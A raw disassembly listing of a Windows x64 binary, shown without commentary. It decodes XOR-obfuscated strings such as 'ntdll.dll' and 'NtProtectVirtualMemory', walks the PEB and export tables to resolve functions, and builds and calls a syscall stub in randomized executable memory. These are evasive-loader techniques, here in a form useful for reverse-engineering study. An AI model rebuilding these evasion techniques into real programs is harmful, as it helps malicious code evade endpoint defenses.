call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor eax, eax
mov qword [rsp + 0x20], rax
mov r9, qword [rbp - 0x38]
mov r8, qword [rsp + 0x70]
mov rdx, qword [rbp - 0x30]
mov rcx, qword [rbp - 0x48]
call rdi
mov edi, eax
lea r9, [rbp + 0xed0]
mov r8d, dword [rbp + 0xed0]
mov edx, 0x1000
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, r15
call fcn.1400b4da0
lea edx, [r14 - 0x15]
mov r8d, 0x8000
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor ecx, ecx
mov dword [0x1400dd364], ecx
test edi, edi
jns 0x140026f63
mov dword [rbp + 0x9f8], 0xfd05e558
mov r9, rbx
lea r8d, [r14 - 0x1d]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x9f8]
call fcn.14002e0f0
mov byte [rbp + 0x9fc], al
mov r9, rbx
lea r8d, [r14 - 0x1c]
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x9f8]
call fcn.14002e0f0
mov byte [rbp + 0x9fd], al
mov r9, rbx
lea r8d, [r14 - 0x1b]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x9f8]
call fcn.14002e0f0
mov byte [rbp + 0x9fe], al
mov r9, rbx
lea r8d, [r14 - 0x1a]
mov dl, WSAStartup
lea rcx, [rbp + 0x9f8]
call fcn.14002e0f0
mov byte [rbp + 0x9ff], al
mov r9, rbx
lea r8d, [r14 - 0x19]
mov dl, 0x61
lea rcx, [rbp + 0x9f8]
call fcn.14002e0f0
mov byte [rbp + 0xa00], al
mov r9, rbx
lea r8d, [r14 - 0x18]
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x9f8]
call fcn.14002e0f0
mov byte [rbp + 0xa01], al
mov r9, rbx
lea r8d, [r14 - 0x17]
mov dl, r14b
lea rcx, [rbp + 0x9f8]
call fcn.14002e0f0
mov byte [rbp + 0xa02], al
mov r9, rbx
lea r8d, [r14 - 0x16]
mov dl, 0x46
lea rcx, [rbp + 0x9f8]
call fcn.14002e0f0
mov byte [rbp + 0xa03], al
mov r9, rbx
lea r8d, [r14 - 0x15]
mov dl, 0x61
lea rcx, [rbp + 0x9f8]
call fcn.14002e0f0
mov byte [rbp + 0xa04], al
mov r9, rbx
lea r8d, [r14 - 0x14]
mov dl, 0x69
lea rcx, [rbp + 0x9f8]
call fcn.14002e0f0
mov byte [rbp + 0xa05], al
mov r9, rbx
lea r15d, [r14 - 0x13]
mov r8d, r15d
mov dl, 0x6c
lea rcx, [rbp + 0x9f8]
call fcn.14002e0f0
mov byte [rbp + 0xa06], al
mov r9, rbx
lea r8d, [r14 - 0x12]
mov dl, 0x75
lea rcx, [rbp + 0x9f8]
call fcn.14002e0f0
mov byte [rbp + 0xa07], al
mov r9, rbx
lea r8d, [r14 - 0x11]
mov dl, WSAStartup
lea rcx, [rbp + 0x9f8]
call fcn.14002e0f0
mov byte [rbp + 0xa08], al
mov r9, rbx
mov r8d, r12d
mov dl, 0x65
lea rcx, [rbp + 0x9f8]
call fcn.14002e0f0
mov byte [rbp + 0xa09], al
xor eax, eax
mov byte [rbp + 0xa0a], al
mov r8d, eax
mov r9, rbx
lea r10d, [r14 - 0x1f]
movabs r11, 0x8080808080808081
movsx eax, byte [rbp + 0x9f8]
add eax, r10d
movsxd rdi, eax
lea rax, [r8 + 0x11]
imul rdi, rax
mov rax, r11
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0x9f8]
sar rdx, cl
xor dil, dl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0x9f9], dil
add r8, r10
add r9, rbx
cmp r9, 0x132
jb 0x140027363
xor edi, edi
mov byte [rbp + 0xa0a], dil
mov dword [rbp + 0xb10], 0x2aa19c1a
lea r9d, [rdi + 0x1b]
lea r8d, [rdi + 3]
mov dl, 0x6c
lea rcx, [rbp + 0xb10]
call fcn.14002f500
mov byte [rbp + 0xb14], al
lea r9d, [rdi + 0x1b]
lea r8d, [rdi + 4]
mov dl, 0x65
lea rcx, [rbp + 0xb10]
call fcn.14002f500
mov byte [rbp + 0xb15], al
lea r9d, [rdi + 0x1b]
lea r8d, [rdi + 5]
mov dl, 0x64
lea rcx, [rbp + 0xb10]
call fcn.14002f500
mov byte [rbp + 0xb16], al
lea r9d, [rdi + 0x1b]
lea r8d, [rdi + 6]
mov dl, r14b
lea rcx, [rbp + 0xb10]
call fcn.14002f500
mov byte [rbp + 0xb17], al
lea r9d, [rdi + 0x1b]
lea r8d, [rdi + 7]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xb10]
call fcn.14002f500
mov byte [rbp + 0xb18], al
lea r9d, [rdi + 0x1b]
lea r8d, [rdi + 8]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0xb10]
call fcn.14002f500
mov byte [rbp + 0xb19], al
lea r9d, [rdi + 0x1b]
lea r8d, [rdi + 9]
mov dl, r14b
lea rcx, [rbp + 0xb10]
call fcn.14002f500
mov byte [rbp + 0xb1a], al
lea r9d, [rdi + 0x1b]
lea r8d, [rdi + 0xa]
mov dl, 0x50
lea rcx, [rbp + 0xb10]
call fcn.14002f500
mov byte [rbp + 0xb1b], al
lea r9d, [rdi + 0x1b]
lea r8d, [rdi + 0xb]
mov dl, WSAStartup
lea rcx, [rbp + 0xb10]
call fcn.14002f500
mov byte [rbp + 0xb1c], al
lea r9d, [rdi + 0x1b]
lea r8d, [rdi + 0xc]
mov dl, 0x65
lea rcx, [rbp + 0xb10]
call fcn.14002f500
mov byte [rbp + 0xb1d], al
lea r9d, [rdi + 0x1b]
mov r8, r15
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0xb10]
call fcn.14002f500
mov byte [rbp + 0xb1e], al
lea r15d, [rdi + 0x1b]
mov r9d, r15d
lea r8d, [rdi + 0xe]
mov dl, 0x61
lea rcx, [rbp + 0xb10]
call fcn.14002f500
mov byte [rbp + 0xb1f], al
mov r9d, r15d
lea r8d, [rdi + 0xf]
mov dl, WSAStartup
lea rcx, [rbp + 0xb10]
call fcn.14002f500
mov byte [rbp + 0xb20], al
mov r9d, r15d
mov r8, r12
mov dl, 0x65
lea rcx, [rbp + 0xb10]
call fcn.14002f500
mov byte [rbp + 0xb21], al
mov r9d, r15d
mov r8, rbx
mov dl, r14b
lea rcx, [rbp + 0xb10]
call fcn.14002f500
mov byte [rbp + 0xb22], al
mov r9d, r15d
lea r8d, [rdi + 0x12]
mov dl, 0x49
lea rcx, [rbp + 0xb10]
call fcn.14002f500
mov byte [rbp + 0xb23], al
mov r9d, r15d
lea r8d, [rdi + 0x13]
mov dl, 0x6d
lea rcx, [rbp + 0xb10]
call fcn.14002f500
mov byte [rbp + 0xb24], al
mov r9d, r15d
mov r8, rsi
mov dl, 0x61
lea rcx, [rbp + 0xb10]
call fcn.14002f500
mov byte [rbp + 0xb25], al
mov r9d, r15d
lea r8d, [rdi + 0x15]
mov dl, 0x67
lea rcx, [rbp + 0xb10]
call fcn.14002f500
mov byte [rbp + 0xb26], al
mov r9d, r15d
lea r8d, [rdi + 0x16]
mov dl, 0x65
lea rcx, [rbp + 0xb10]
call fcn.14002f500
mov byte [rbp + 0xb27], al
mov r9d, r15d
mov r8, r13
mov dl, r14b
lea rcx, [rbp + 0xb10]
call fcn.14002f500
mov byte [rbp + 0xb28], al
mov r9d, r15d
lea r8d, [rdi + 0x18]
mov dl, 0x30
lea rcx, [rbp + 0xb10]
call fcn.14002f500
mov byte [rbp + 0xb29], al
mov r9d, r15d
lea r8d, [rdi + 0x19]
mov dl, 0x78
lea rcx, [rbp + 0xb10]
call fcn.14002f500
mov byte [rbp + 0xb2a], al
mov r9d, r15d
lea r8d, [rdi + 0x1a]
mov dl, Ordinal_50
lea rcx, [rbp + 0xb10]
call fcn.14002f500
mov byte [rbp + 0xb2b], al
xor eax, eax
mov byte [rbp + 0xb2c], al
mov r8d, edi
mov r9d, r15d
lea ebx, [rdi + 1]
movabs r10, 0x8080808080808081
movsx eax, byte [rbp + 0xb10]
add eax, ebx
movsxd rdi, eax
lea rax, [r8 + 0x1b]
imul rdi, rax
mov rax, r10
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0xb10]
sar rdx, cl
xor dil, dl
mov rax, r10
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0xb11], dil
add r8, rbx
add r9, r15
cmp r9, 0x2f4
jb 0x140027698
xor eax, eax
mov byte [rbp + 0xb2c], al
xor r9d, r9d
lea r8, [rbp + 0x9f9]
lea rdx, [rbp + 0xb11]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, ebx
call fcn.140093e48
int3
mov rdi, r15
jmp 0x140026f68
mov eax, 2
test ecx, ecx
cmovne eax, r14d
mov dword [rsp + 0x68], eax
mov eax, dword [rdx + 0x10]
mov qword [rbp + 0xf90], rax
mov eax, dword [rdx + 0xc]
add rax, qword [rbp + 0xea0]
mov qword [rbp + 0xde0], rax
mov rax, qword [rbp + 0xd60]
mov qword [rbp - 0x38], rax
xor eax, eax
mov dword [rbp + 0xf38], eax
mov byte [rbp + 0x718], WSAGetLastError
lea r15d, [rax + 0x16]
mov r9d, r15d
xor r8d, r8d
mov dl, Ordinal_79
lea rcx, [rbp + 0x718]
call fcn.14002e86c
mov byte [rbp + 0x719], al
mov r9d, r15d
mov r8, rdi
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x718]
call fcn.14002e86c
mov byte [rbp + 0x71a], al
mov r9d, r15d
lea r8d, [r15 - 0x14]
mov dl, 0x50
lea rcx, [rbp + 0x718]
call fcn.14002e86c
mov byte [rbp + 0x71b], al
mov r9d, r15d
lea r8d, [r15 - 0x13]
mov dl, WSAStartup
lea rcx, [rbp + 0x718]
call fcn.14002e86c
mov byte [rbp + 0x71c], al
mov r9d, r15d
lea r8d, [r15 - 0x12]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x718]
call fcn.14002e86c
mov byte [rbp + 0x71d], al
mov r9d, r15d
lea r8d, [r15 - 0x11]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x718]
call fcn.14002e86c
mov byte [rbp + 0x71e], al
mov r9d, r15d
lea r8d, [r15 - 0x10]
mov dl, 0x65
lea rcx, [rbp + 0x718]
call fcn.14002e86c
mov byte [rbp + 0x71f], al
mov r9d, r15d
lea r8d, [r15 - 0xf]
mov dl, 0x63
lea rcx, [rbp + 0x718]
call fcn.14002e86c
mov byte [rbp + 0x720], al
mov r9d, r15d
lea r8d, [r15 - 0xe]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x718]
call fcn.14002e86c
mov byte [rbp + 0x721], al
mov r9d, r15d
lea r8d, [r15 - 0xd]
mov dl, 0x56
lea rcx, [rbp + 0x718]
call fcn.14002e86c
mov byte [rbp + 0x722], al
mov r9d, r15d
lea r8d, [r15 - 0xc]
mov dl, 0x69
lea rcx, [rbp + 0x718]
call fcn.14002e86c
mov byte [rbp + 0x723], al
mov r9d, r15d
lea r8d, [r15 - 0xb]
mov dl, WSAStartup
lea rcx, [rbp + 0x718]
call fcn.14002e86c
mov byte [rbp + 0x724], al
mov r9d, r15d
lea r8d, [r15 - 0xa]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x718]
call fcn.14002e86c
mov byte [rbp + 0x725], al
mov r9d, r15d
lea r8d, [r15 - 9]
mov dl, 0x75
lea rcx, [rbp + 0x718]
call fcn.14002e86c
mov byte [rbp + 0x726], al
mov r9d, r15d
lea r8d, [r15 - 8]
mov dl, 0x61
lea rcx, [rbp + 0x718]
call fcn.14002e86c
mov byte [rbp + 0x727], al
mov r9d, r15d
lea r8d, [r15 - 7]
mov dl, 0x6c
lea rcx, [rbp + 0x718]
call fcn.14002e86c
mov byte [rbp + 0x728], al
mov r9d, r15d
mov r8, r12
mov dl, 0x4d
lea rcx, [rbp + 0x718]
call fcn.14002e86c
mov byte [rbp + 0x729], al
mov r9d, r15d
mov r8, rbx
mov dl, 0x65
lea rcx, [rbp + 0x718]
call fcn.14002e86c
mov byte [rbp + 0x72a], al
mov r9d, r15d
lea r8d, [r15 - 4]
mov dl, 0x6d
lea rcx, [rbp + 0x718]
call fcn.14002e86c
mov byte [rbp + 0x72b], al
mov r9d, r15d
lea r8d, [r15 - 3]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x718]
call fcn.14002e86c
mov byte [rbp + 0x72c], al
mov r9d, r15d
mov r8, rsi
mov dl, WSAStartup
lea rcx, [rbp + 0x718]
call fcn.14002e86c
mov byte [rbp + 0x72d], al
mov r9d, r15d
lea r8d, [r15 - 1]
mov dl, 0x79
lea rcx, [rbp + 0x718]
call fcn.14002e86c
mov byte [rbp + 0x72e], al
xor eax, eax
mov byte [rbp + 0x72f], al
mov edi, eax
lea r14d, [r15 - 0x15]
mov r9, r15
mov r8, rdi
mov dl, byte [rbp + rdi + 0x719]
lea rcx, [rbp + 0x718]
call fcn.14002e86c
mov byte [rbp + rdi + 0x719], al
add rdi, r14
cmp rdi, r15
jb 0x1400279dc
xor edi, edi
lea r14d, [rdi + 0x20]
mov byte [rbp + 0x72f], dil
mov word [rbp + 0x70], 0x6b60
lea r9d, [rdi + 9]
lea r15d, [rdi + 1]
mov r8d, r15d
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x70]
call fcn.14002e000
mov byte [rbp + 0x72], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 2]
mov dl, 0x64
lea rcx, [rbp + 0x70]
call fcn.14002e000
mov byte [rbp + 0x73], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 3]
mov dl, 0x6c
lea rcx, [rbp + 0x70]
call fcn.14002e000
mov byte [rbp + 0x74], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 4]
mov dl, 0x6c
lea rcx, [rbp + 0x70]
call fcn.14002e000
mov byte [rbp + 0x75], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 5]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0x70]
call fcn.14002e000
mov byte [rbp + 0x76], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 6]
mov dl, 0x64
lea rcx, [rbp + 0x70]
call fcn.14002e000
mov byte [rbp + 0x77], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 7]
mov dl, 0x6c
lea rcx, [rbp + 0x70]
call fcn.14002e000
mov byte [rbp + 0x78], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 8]
mov dl, 0x6c
lea rcx, [rbp + 0x70]
call fcn.14002e000
mov byte [rbp + 0x79], al
xor eax, eax
mov byte [rbp + 0x7a], al
mov r8d, edi
lea r9d, [rdi + 9]
movabs r10, 0x8080808080808081
movsx eax, byte [rbp + 0x70]
add eax, r15d
movsxd rdi, eax
lea rax, [r8 + 9]
imul rdi, rax
mov rax, r10
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0x70]
sar rdx, cl
xor dil, dl
mov rax, r10
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0x71], dil
add r8, r15
add r9, 9
cmp r9, 0x5a
jb 0x140027ae0
xor edi, edi
mov byte [rbp + 0x7a], dil
mov rax, qword gs:[0x60]
test rax, rax
je 0x140027e8e
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x20]
mov qword [rbp - 0x78], rax
mov qword [rbp - 0x80], rax
xor r15d, r15d
mov rax, qword [rax + 0x40]
mov qword [rsp + 0x60], rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
movsxd rdi, eax
lea rcx, [rdi + 1]
call fcn.14008d174
mov r9, rax
mov qword [rbp - 0x70], rax
xor eax, eax
mov edx, eax
test edi, edi
jle 0x140027bd3
lea r11d, [rax + 1]
mov r8d, r11d
mov r12, qword [rsp + 0x60]
mov ecx, r8d
cmp word [r12 + rdx*2], 0x5c
cmovne ecx, r15d
mov r15d, ecx
mov al, byte [r12 + rdx*2]
mov byte [r9 + rdx], al
add r8d, r11d
add rdx, r11
cmp rdx, rdi
jl 0x140027baa
mov r12d, reloc.WS2_32.dll_recv
sub edi, r15d
movsxd rdi, edi
movsxd rdx, r15d
add rdx, r9
mov r8, rdi
mov rcx, r9
call fcn.1400b4700
mov rcx, qword [rbp - 0x70]
xor r15d, r15d
mov byte [rdi + rcx], r15b
movzx edi, r15b
cmp qword [rsp + 0x60], r15
je 0x140027c2a
mov rax, rcx
lea r9, [rbp + 0x71]
sub r9, rcx
lea r10d, [r15 + 1]
movzx r8d, byte [rax]
movzx edx, byte [rax + r9]
sub r8d, edx
jne 0x140027c23
add rax, r10
test edx, edx
jne 0x140027c0e
test r8d, r8d
cmove edi, r10d
call fcn.14008cef0
test dil, dil
jne 0x140027c4e
mov rax, qword [rbp - 0x80]
mov rax, qword [rax]
mov qword [rbp - 0x80], rax
cmp rax, qword [rbp - 0x78]
jne 0x140027b71
jmp 0x140027e8c
mov rcx, qword [rbp - 0x80]
mov rcx, qword [rcx + 0x20]
xor edi, edi
test rcx, rcx
je 0x140027e8e
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140027e8e
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x140027e8e
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x140027e8e
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov r15d, dword [rax + 0x24]
add r15, rcx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov edx, edi
mov eax, dword [rax + 0x18]
mov qword [rbp - 0x70], rax
test rax, rax
je 0x140027e8e
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x719]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x140027cdd
inc rax
test edi, edi
jne 0x140027cc8
xor edi, edi
test r8d, r8d
je 0x140027cf2
inc rdx
cmp rdx, qword [rbp - 0x70]
jb 0x140027cb7
jmp 0x140027e8e
movzx eax, word [r15 + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x140027e8e
mov eax, dword [rdx + 4]
mov dword [rsp + 0x78], eax
mov ecx, 1
cmp eax, ecx
jl 0x140027e8e
mov edx, 0x1000
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r15, rax
call fcn.14008ce90
or dword [rbp + 0x26f14], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x25b90]
call fcn.14002ef44
lea rcx, [rbp + 0x25b90]
call fcn.14002e95c
mov edi, eax
movabs rax, 0xc0906c513cedb3
mul rdi
mov ecx, edi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rdi, rax
xor eax, eax
mov esi, eax
lea r14d, [rax + 1]
lea rcx, [rbp + 0x25b90]
call fcn.14002e95c
mov eax, eax
mov qword [rbp + rsi*8 + 0x47540], rax
add rsi, r14
cmp rsi, 0x200
jl 0x140027d8e
mov esi, reloc.WS2_32.dll_sendto
lea r14d, [rsi + 0xc]
mov r8d, 0x1000
lea rdx, [rbp + 0x47540]
mov rcx, r15
call fcn.1400b4700
mov eax, dword [rsp + 0x78]
mov dword [0x1400dd364], eax
add rdi, r15
movsd xmm0, qword [0x1400dd360]
movsd qword [rdi], xmm0
movzx eax, word [0x1400dd368]
mov word [rdi + 8], ax
mov al, byte [0x1400dd36a]
mov byte [rdi + 0xa], al
xor eax, eax
mov dword [rbp + 0xf20], eax
lea r9, [rbp + 0xf20]
mov r8d, r14d
mov edx, 0x1000
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea rax, [rbp + 0xf38]
mov qword [rsp + 0x20], rax
mov r9d, dword [rsp + 0x68]
lea r8, [rbp + 0xf90]
lea rdx, [rbp + 0xde0]
mov rcx, qword [rbp - 0x38]
call rdi
mov edi, eax
lea r9, [rbp + 0xf20]
mov r8d, dword [rbp + 0xf20]
mov edx, 0x1000
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, r15
call fcn.1400b4da0
lea edx, [rsi - 9]
mov r8d, 0x8000
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
mov dword [0x1400dd364], eax
test edi, edi
js 0x140027ec6
xor edi, edi
mov rcx, qword [rbp - 0x40]
mov edx, dword [rbp - 0x60]
mov r15, qword [rbp - 0x58]
mov r10d, 1
add rcx, 0x28
mov qword [rbp - 0x40], rcx
add edx, r10d
mov dword [rbp - 0x60], edx
movzx eax, word [r15 + 6]
cmp edx, eax
jge 0x140028422
mov r11, qword [rbp + 0xea0]
jmp 0x140026a0b
mov dword [rbp + 0xb30], 0xcd538b72
mov byte [rbp + 0xb34], gethostname
mov r9, rbx
mov r8d, 4
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0xb30]
call fcn.14002e0f0
mov byte [rbp + 0xb35], al
mov r9, rbx
mov r8d, 5
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xb30]
call fcn.14002e0f0
mov byte [rbp + 0xb36], al
mov r9, rbx
mov r8d, 6
mov dl, WSAStartup
lea rcx, [rbp + 0xb30]
call fcn.14002e0f0
mov byte [rbp + 0xb37], al
mov r9, rbx
mov r8d, 7
mov dl, 0x61
lea rcx, [rbp + 0xb30]
call fcn.14002e0f0
mov byte [rbp + 0xb38], al
mov r9, rbx
mov r8d, 8
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0xb30]
call fcn.14002e0f0
mov byte [rbp + 0xb39], al
mov r9, rbx
mov r8d, 9
mov dl, r14b
lea rcx, [rbp + 0xb30]
call fcn.14002e0f0
mov byte [rbp + 0xb3a], al
mov r9, rbx
mov r8d, 0xa
mov dl, 0x46
lea rcx, [rbp + 0xb30]
call fcn.14002e0f0
mov byte [rbp + 0xb3b], al
mov r9, rbx
mov r8d, ntohs
mov dl, 0x61
lea rcx, [rbp + 0xb30]
call fcn.14002e0f0
mov byte [rbp + 0xb3c], al
mov r9, rbx
mov r8d, ntohs
mov dl, 0x69
lea rcx, [rbp + 0xb30]
call fcn.14002e0f0
mov byte [rbp + 0xb3d], al
mov r9, rbx
mov r15d, reloc.WS2_32.dll_listen
mov r8d, r15d
mov dl, 0x6c
lea rcx, [rbp + 0xb30]
call fcn.14002e0f0
mov byte [rbp + 0xb3e], al
mov r9, rbx
lea r8d, [r15 + 1]
mov dl, 0x75
lea rcx, [rbp + 0xb30]
call fcn.14002e0f0
mov byte [rbp + 0xb3f], al
mov r9, rbx
lea r8d, [r15 + 2]
mov dl, WSAStartup
lea rcx, [rbp + 0xb30]
call fcn.14002e0f0
mov byte [rbp + 0xb40], al
mov r9, rbx
mov r8, r12
mov dl, 0x65
lea rcx, [rbp + 0xb30]
call fcn.14002e0f0
mov byte [rbp + 0xb41], al
xor eax, eax
mov byte [rbp + 0xb42], al
mov r8d, eax
mov r9, rbx
lea r10d, [r15 - 0xc]
movabs r11, 0x8080808080808081
movsx eax, byte [rbp + 0xb30]
add eax, r10d
movsxd rdi, eax
lea rax, [r8 + 0x11]
imul rdi, rax
mov rax, r11
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0xb30]
sar rdx, cl
xor dil, dl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0xb31], dil
add r8, r10
add r9, rbx
cmp r9, 0x132
jb 0x140028069
xor edi, edi
mov byte [rbp + 0xb42], dil
mov dword [rbp + 0xb50], 0x1cbadf35
mov byte [rbp + 0xb54], 0x5a
lea r9d, [rdi + 0x1b]
lea r8d, [rdi + 4]
mov dl, 0x65
lea rcx, [rbp + 0xb50]
call fcn.14002f500
mov byte [rbp + 0xb55], al
lea r9d, [rdi + 0x1b]
lea r8d, [rdi + 5]
mov dl, 0x64
lea rcx, [rbp + 0xb50]
call fcn.14002f500
mov byte [rbp + 0xb56], al
lea r9d, [rdi + 0x1b]
lea r8d, [rdi + 6]
mov dl, r14b
lea rcx, [rbp + 0xb50]
call fcn.14002f500
mov byte [rbp + 0xb57], al
lea r9d, [rdi + 0x1b]
lea r8d, [rdi + 7]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xb50]
call fcn.14002f500
mov byte [rbp + 0xb58], al
lea r9d, [rdi + 0x1b]
lea r8d, [rdi + 8]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0xb50]
call fcn.14002f500
mov byte [rbp + 0xb59], al
lea r9d, [rdi + 0x1b]
lea r8d, [rdi + 9]
mov dl, r14b
lea rcx, [rbp + 0xb50]
call fcn.14002f500
mov byte [rbp + 0xb5a], al
lea r9d, [rdi + 0x1b]
lea r8d, [rdi + 0xa]
mov dl, 0x50
lea rcx, [rbp + 0xb50]
call fcn.14002f500
mov byte [rbp + 0xb5b], al
lea r9d, [rdi + 0x1b]
lea r8d, [rdi + 0xb]
mov dl, WSAStartup
lea rcx, [rbp + 0xb50]
call fcn.14002f500
mov byte [rbp + 0xb5c], al
lea r9d, [rdi + 0x1b]
lea r8d, [rdi + 0xc]
mov dl, 0x65
lea rcx, [rbp + 0xb50]
call fcn.14002f500
mov byte [rbp + 0xb5d], al
lea r9d, [rdi + 0x1b]
mov r8, r15
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0xb50]
call fcn.14002f500
mov byte [rbp + 0xb5e], al
lea r15d, [rdi + 0x1b]
mov r9d, r15d
lea r8d, [rdi + 0xe]
mov dl, 0x61
lea rcx, [rbp + 0xb50]
call fcn.14002f500
mov byte [rbp + 0xb5f], al
mov r9d, r15d
lea r8d, [rdi + 0xf]
mov dl, WSAStartup
lea rcx, [rbp + 0xb50]
call fcn.14002f500
mov byte [rbp + 0xb60], al
mov r9d, r15d
mov r8, r12
mov dl, 0x65
lea rcx, [rbp + 0xb50]
call fcn.14002f500
mov byte [rbp + 0xb61], al
mov r9d, r15d
mov r8, rbx
mov dl, r14b
lea rcx, [rbp + 0xb50]
call fcn.14002f500
mov byte [rbp + 0xb62], al
mov r9d, r15d
lea r8d, [rdi + 0x12]
mov dl, 0x49
lea rcx, [rbp + 0xb50]
call fcn.14002f500
mov byte [rbp + 0xb63], al
mov r9d, r15d
lea r8d, [rdi + 0x13]
mov dl, 0x6d
lea rcx, [rbp + 0xb50]
call fcn.14002f500
mov byte [rbp + 0xb64], al
mov r9d, r15d
mov r8, rsi
mov dl, 0x61
lea rcx, [rbp + 0xb50]
call fcn.14002f500
mov byte [rbp + 0xb65], al
mov r9d, r15d
lea r8d, [rdi + 0x15]
mov dl, 0x67
lea rcx, [rbp + 0xb50]
call fcn.14002f500
mov byte [rbp + 0xb66], al
mov r9d, r15d
lea r8d, [rdi + 0x16]
mov dl, 0x65
lea rcx, [rbp + 0xb50]
call fcn.14002f500
mov byte [rbp + 0xb67], al
mov r9d, r15d
mov r8, r13
mov dl, r14b
lea rcx, [rbp + 0xb50]
call fcn.14002f500
mov byte [rbp + 0xb68], al
mov r9d, r15d
lea r8d, [rdi + 0x18]
mov dl, 0x30
lea rcx, [rbp + 0xb50]
call fcn.14002f500
mov byte [rbp + 0xb69], al
mov r9d, r15d
lea r8d, [rdi + 0x19]
mov dl, 0x78
lea rcx, [rbp + 0xb50]
call fcn.14002f500
mov byte [rbp + 0xb6a], al
mov r9d, r15d
lea r8d, [rdi + 0x1a]
mov dl, reloc.WLDAP32.dll_Ordinal_50
lea rcx, [rbp + 0xb50]
call fcn.14002f500
mov byte [rbp + 0xb6b], al
xor eax, eax
mov byte [rbp + 0xb6c], al
mov r8d, edi
mov r9d, r15d
lea ebx, [rdi + 1]
movabs r10, 0x8080808080808081
movsx eax, byte [rbp + 0xb50]
add eax, ebx
movsxd rdi, eax
lea rax, [r8 + 0x1b]
imul rdi, rax
mov rax, r10
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0xb50]
sar rdx, cl
xor dil, dl
mov rax, r10
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0xb51], dil
add r8, rbx
add r9, r15
cmp r9, 0x2f4
jb 0x140028389
xor eax, eax
mov byte [rbp + 0xb6c], al
xor r9d, r9d
lea r8, [rbp + 0xb31]
lea rdx, [rbp + 0xb51]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, ebx
call fcn.140093e48
int3
mov rax, qword [rbp + 0xd60]
